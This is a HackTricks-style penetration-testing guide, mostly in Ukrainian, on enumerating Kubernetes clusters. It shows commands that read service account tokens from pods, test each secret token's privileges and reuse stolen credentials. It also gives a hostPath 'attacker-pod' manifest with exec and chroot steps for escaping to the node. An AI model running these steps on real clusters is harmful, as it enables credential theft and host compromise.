Kubernetes Enumeration

Support HackTricks

Kubernetes Tokens

Якщо ви отримали доступ до машини, користувач може мати доступ до деякої платформи Kubernetes. Токен зазвичай знаходиться у файлі, на який вказує env var KUBECONFIG або всередині ~/.kube.

У цій папці ви можете знайти конфігураційні файли з токенами та конфігураціями для підключення до API сервера. У цій папці ви також можете знайти кеш-папку з інформацією, яка була отримана раніше.

Якщо ви отримали доступ до поду всередині середовища kubernetes, є інші місця, де ви можете знайти токени та інформацію про поточне середовище K8:

Service Account Tokens

Перед тим, як продовжити, якщо ви не знаєте, що таке сервіс у Kubernetes, я б порадив вам перейти за цим посиланням і прочитати принаймні інформацію про архітектуру Kubernetes.

Витягнуто з документації:

“Коли ви створюєте под, якщо ви не вказуєте обліковий запис служби, він автоматично призначається за замовчуванням обліковому запису служби в тому ж просторі імен.”

ServiceAccount - це об'єкт, керований Kubernetes, і використовується для надання ідентичності для процесів, які працюють у поді. Кожен обліковий запис служби має секрет, пов'язаний з ним, і цей секрет містить токен доступу. Це JSON Web Token (JWT), метод для безпечного представлення вимог між двома сторонами.

Зазвичай один з каталогів:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

містить файли:

  • ca.crt: Це сертифікат ca для перевірки комунікацій kubernetes

  • namespace: Він вказує на поточний простір імен

  • token: Він містить токен служби поточного поду.

Тепер, коли у вас є токен, ви можете знайти API сервер всередині змінної середовища KUBECONFIG. Для отримання додаткової інформації виконайте (env | set) | grep -i "kuber|kube"

Токен облікового запису служби підписується ключем, що знаходиться у файлі sa.key, і перевіряється sa.pub.

За замовчуванням місце розташування на Kubernetes:

  • /etc/kubernetes/pki

За замовчуванням місце розташування на Minikube:

  • /var/lib/localkube/certs

Hot Pods

Гарячі поди - це поди, що містять токен привілейованого облікового запису служби. Токен привілейованого облікового запису служби - це токен, який має дозвіл на виконання привілейованих завдань, таких як перерахування секретів, створення подів тощо.

RBAC

Якщо ви не знаєте, що таке RBAC, прочитайте цей розділ.

GUI Applications

  • k9s: GUI, яка перераховує кластер kubernetes з терміналу. Перевірте команди в https://k9scli.io/topics/commands/. Напишіть :namespace і виберіть всі, щоб потім шукати ресурси у всіх просторах імен.

  • k8slens: Пропонує кілька безкоштовних днів пробного періоду: https://k8slens.dev/

Enumeration CheatSheet

Щоб перерахувати середовище K8s, вам потрібно кілька з цього:

  • дійсний токен аутентифікації. У попередньому розділі ми бачили, де шукати токен користувача та токен облікового запису служби.

  • адреса (https://host:port) API Kubernetes. Це зазвичай можна знайти у змінних середовища та/або у файлі конфігурації kube.

  • Необов'язково: ca.crt для перевірки API сервера. Це можна знайти в тих же місцях, де можна знайти токен. Це корисно для перевірки сертифіката API сервера, але використовуючи --insecure-skip-tls-verify з kubectl або -k з curl, вам не знадобиться це.

З цими деталями ви можете перерахувати kubernetes. Якщо API з якоїсь причини доступний через Інтернет, ви можете просто завантажити цю інформацію та перерахувати платформу з вашого хоста.

Однак зазвичай API сервер знаходиться всередині внутрішньої мережі, тому вам потрібно буде створити тунель через скомпрометовану машину, щоб отримати до нього доступ з вашої машини, або ви можете завантажити kubectl бінарний файл, або використовувати curl/wget/anything для виконання сирих HTTP запитів до API сервера.

Differences between list and get verbs

З get дозволами ви можете отримувати інформацію про конкретні активи (опція describe у kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Якщо у вас є list дозвіл, ви маєте право виконувати API запити для отримання списку типу активу (get опція в kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Якщо у вас є watch дозвіл, ви маєте право виконувати API запити для моніторингу активів:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Вони відкривають стрімінгове з'єднання, яке повертає вам повний маніфест Деплойменту щоразу, коли він змінюється (або коли створюється новий).

Наступні команди kubectl вказують, як просто перерахувати об'єкти. Якщо ви хочете отримати доступ до даних, вам потрібно використовувати describe замість get

Використання curl

Зсередини поду ви можете використовувати кілька змінних середовища:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

За замовчуванням под може доступатися до kube-api сервера за доменним ім'ям kubernetes.default.svc і ви можете побачити kube мережу в /etc/resolv.config, оскільки тут ви знайдете адресу DNS сервера kubernetes (".1" того ж діапазону є кінцевою точкою kube-api).

Використання kubectl

Маючи токен і адресу API сервера, ви використовуєте kubectl або curl для доступу до нього, як вказано тут:

За замовчуванням, APISERVER спілкується за схемою https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

якщо в URL немає https://, ви можете отримати помилку, схожу на Bad Request.

Ви можете знайти офіційний шпаргалку kubectl тут. Мета наступних розділів - представити в упорядкованому вигляді різні варіанти для перерахунку та розуміння нового K8s, до якого ви отримали доступ.

Щоб знайти HTTP-запит, який надсилає kubectl, ви можете використовувати параметр -v=8

MitM kubectl - Проксіювання kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Поточна конфігурація

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Якщо вам вдалося вкрасти облікові дані деяких користувачів, ви можете налаштувати їх локально за допомогою чогось на зразок:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Отримати Підтримувані Ресурси

З цією інформацією ви дізнаєтеся про всі сервіси, які ви можете перерахувати

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Отримати поточні привілеї

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Інший спосіб перевірити свої привілеї - це використання інструменту: https://github.com/corneliusweig/rakkess****

Ви можете дізнатися більше про Kubernetes RBAC в:

Kubernetes Role-Based Access Control(RBAC)

Якщо ви знаєте, які привілеї у вас є, перевірте наступну сторінку, щоб з'ясувати, чи можете ви їх зловживати для ескалації привілеїв:

Abusing Roles/ClusterRoles in Kubernetes

Отримати ролі інших

k get roles
k get clusterroles

Отримати простори імен

Kubernetes підтримує декілька віртуальних кластерів, які базуються на одному фізичному кластері. Ці віртуальні кластери називаються просторами імен.

k get namespaces

Отримати секрети

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Якщо ви можете читати секрети, ви можете використовувати наступні рядки, щоб отримати привілеї, пов'язані з кожним токеном:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Отримати облікові записи служб

Як обговорювалося на початку цієї сторінки, коли запускається под, зазвичай йому призначається обліковий запис служби. Тому, якщо перерахувати облікові записи служб, їхні дозволи та де вони працюють, це може дозволити користувачу підвищити привілеї.

k get serviceaccounts

Отримати розгортання

Розгортання вказують на компоненти, які потрібно запустити.

k get deployments
k get deployments -n custnamespace

Отримати Pods

Pods - це фактичні контейнери, які будуть запускатися.

k get pods
k get pods -n custnamespace

Отримати сервіси

Kubernetes сервіси використовуються для експонування сервісу на конкретному порту та IP (який буде діяти як балансувальник навантаження для подів, які насправді пропонують сервіс). Це цікаво знати, де ви можете знайти інші сервіси, щоб спробувати атакувати.

k get services
k get services -n custnamespace

Отримати вузли

Отримати всі вузли, налаштовані всередині кластера.

k get nodes

Отримати DaemonSets

DaeamonSets дозволяє забезпечити, щоб конкретний pod працював на всіх вузлах кластера (або на вибраних). Якщо ви видалите DaemonSet, pods, якими він керує, також будуть видалені.

k get daemonsets

Отримати cronjob

Cron jobs дозволяють запланувати запуск пода, який виконає певну дію, використовуючи синтаксис, подібний до crontab.

k get cronjobs

Отримати configMap

configMap завжди містить багато інформації та конфігураційних файлів, які надаються додаткам, що працюють у kubernetes. Зазвичай ви можете знайти багато паролів, секретів, токенів, які використовуються для підключення та валідації до інших внутрішніх/зовнішніх сервісів.

k get configmaps # -n namespace

Отримати мережеві політики / Cilium мережеві політики

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Отримати все / Усе

k get all

Отримати всі ресурси, керовані helm

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Отримати споживання Pods

k top pod --all-namespaces

Вихід з пода

Якщо ви можете створювати нові поди, ви можете вийти з них на вузол. Для цього потрібно створити новий под, використовуючи yaml файл, переключитися на створений под, а потім chroot у систему вузла. Ви можете використовувати вже існуючі поди як посилання для yaml файлу, оскільки вони відображають існуючі образи та шляхи.

kubectl get pod <name> [-n <namespace>] -o yaml

якщо вам потрібно створити под на конкретному вузлі, ви можете використати наступну команду, щоб отримати мітки на вузлі

k get nodes --show-labels

Зазвичай, kubernetes.io/hostname та node-role.kubernetes.io/master є хорошими мітками для вибору.

Тоді ви створюєте свій attack.yaml файл

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

оригінальне джерело yaml

Після цього ви створюєте под

kubectl apply -f attacker.yaml [-n <namespace>]

Тепер ви можете переключитися на створений pod наступним чином

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

І нарешті ви chroot у систему вузла

chroot /root /bin/bash

Information obtained from: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

References

Підтримати HackTricks

Last updated